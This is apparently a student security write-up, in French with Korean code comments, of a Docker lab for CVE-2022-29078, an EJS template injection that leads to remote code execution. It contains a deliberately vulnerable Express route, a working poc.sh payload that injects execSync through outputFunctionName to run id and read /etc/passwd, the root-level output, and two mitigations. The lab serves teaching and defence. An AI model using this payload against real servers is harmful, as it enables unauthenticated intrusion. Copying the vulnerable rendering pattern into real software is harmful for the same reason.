
PoC basé sur Docker pour CVE-2022-29078 : EJS SSTI menant à une exécution de code à distance non authentifiée via une injection de outputFunctionName. Comprend des étapes de reproduction et deux stratégies d'atténuation.
École White Hat, 4e promotion (classe 32) - Woo Sang-beom (@taka3636)
La vulnérabilité d'injection de modèles côté serveur (SSTI) dans EJS < 3.1.7 (CVE-2022-29078) permet d'exécuter des commandes arbitraires à distance (RCE) sans authentification. Ce document configure un environnement vulnérable avec Docker, reproduit le RCE via un PoC, et vérifie deux mesures correctives (mise à jour de la bibliothèque · transmission sécurisée des entrées).
EJS (Embedded JavaScript templates) est un moteur de templates largement utilisé dans l'écosystème Node.js. Il permet d'insérer du JavaScript dans du HTML via des balises <% %>, comme <h1>Hello <%= id %></h1>, pour générer des pages dynamiques. En interne, EJS compile les chaînes de template en fonctions JavaScript puis les exécute pour produire le HTML final. C'est un générateur de code qui transforme du texte (template) en code exécutable (fonction), et cette propriété constitue le fondement de la vulnérabilité.
EJS < 3.1.7 insère la valeur de l'option de rendu outputFunctionName sans validation dans le code source de la fonction compilée. Si l'application transmet directement l'entrée utilisateur comme option de rendu, un attaquant peut contaminer cette option et exécuter du code arbitraire (RCE) sur le serveur. Sans authentification, il est possible de prendre entièrement le contrôle du serveur à distance, ce qui rend la gravité très élevée.
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1 바인딩(격리)
├── Dockerfile # node:18.20.4 (버전 고정)
├── app/
│ ├── server.js # 취약 Express 앱
│ ├── package.json # ejs 3.1.6 정확 고정
│ └── views/page.ejs
├── poc.sh # PoC 실행 스크립트
└── 1.png ~ 8.png # 스크린샷
18.20.4 fixé3.1.6 (fixé exactement sans symbole — l'utilisation de ^/~ installerait une version patchée et rendrait la reproduction impossible)4.18.2docker compose up -d --build.

L'attaque est possible lorsque les deux conditions suivantes sont simultanément remplies.
< 3.1.7 insère outputFunctionName sans validation dans le code// app/server.js — 취약 지점
app.get('/page', (req, res) => {
res.render('page', req.query); // req.query 전체를 렌더 옵션으로 전달
});
Express transmet l'entrée utilisateur (req.query) intégralement comme option de rendu à EJS via res.render('page', req.query). Le parseur qs analyse la notation entre crochets comme settings[view options][outputFunctionName] en un objet imbriqué, et cette valeur est fusionnée dans l'option de compilation EJS outputFunctionName. Autrement dit, le code (fonction) que l'utilisateur a placé dans les options est attaché aux options et est passé à EJS. EJS insère ensuite cette valeur devant la fonction compilée comme suit :
var <outputFunctionName값> = __append;
Avec une valeur normale, cela donne var myOut = __append;, inoffensif, mais si la valeur contient un point-virgule pour couper l'instruction et y insérer du code, ce code s'exécutera lorsque la fonction compilée sera appelée. En y mettant execSync(...), on peut lire des fichiers spécifiques ou exécuter des commandes système.
Prérequis : Docker et Docker Compose installés, connexion Internet lors de la construction.
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps
# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) PoC 실행
bash poc.sh
# 5) 정리
docker compose down

poc.sh — Injection de l'option outputFunctionName pour exécuter trois commandes sur le serveur et récupérer les résultats. [1] id (identité d'exécution), [2] /etc/passwd (lecture de fichier arbitraire), [3] uname (emplacement d'exécution).
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g : obligatoire pour éviter que les crochets de l'URL soient interprétés comme des glob (sinon curl: (3) bad range)%20, redirection > %3ERésultat de l'exécution de poc.sh. Une requête normale (id=world) renvoie uniquement Hello world, mais les commandes injectées via l'injection de l'option outputFunctionName sont exécutées sur le serveur et leurs sorties sont récupérées.

id → uid=0(root) gid=0(root) : la commande injectée est exécutée avec les privilèges root./etc/passwd → le contenu du fichier des comptes système est renvoyé tel quel : lecture de fichier arbitraire sur le serveur (atteinte à la confidentialité).uname → le nom d'hôte est 326f6f1b04b3 (ID du conteneur), différent du nom d'hôte de la VM (ubuntu-QEMU-Virtual-Machine) : cela prouve que la commande a été exécutée à l'intérieur du conteneur et non sur l'hôte. Donc les privilèges root ne sont pas dus à sudo mais au processus serveur vulnérable (le conteneur node = root par défaut).Une seule requête distante sans authentification permet l'exécution de commandes en tant que root et la lecture de fichiers arbitraires = CVE-2022-29078.
Mesure 1 — Mise à jour de la bibliothèque (solution fondamentale)
Mettez à jour ejs dans package.json vers 3.1.7 ou supérieur. La version 3.1.7+ valide outputFunctionName avec l'expression régulière /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, rejetant les caractères non identifiants comme le point-virgule, bloquant ainsi la même attaque avant l'exécution du code.
Error: outputFunctionName is not a valid JS identifier.


Mesure 2 — Transmission sécurisée des entrées (défense applicative)
Même avec une version vulnérable (3.1.6), si vous ne transmettez pas l'entrée utilisateur entière mais seulement les valeurs nécessaires, le chemin de fusion settings[view options] disparaît et la contamination des options est impossible. Les fonctionnalités normales sont préservées.
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });


Recommandation : Appliquez les deux mesures : mise à jour de la bibliothèque (solution fondamentale) et transmission minimale des entrées utilisateur (défense en profondeur). De plus, exécuter le conteneur avec un utilisateur non-root peut limiter l'impact en cas de RCE.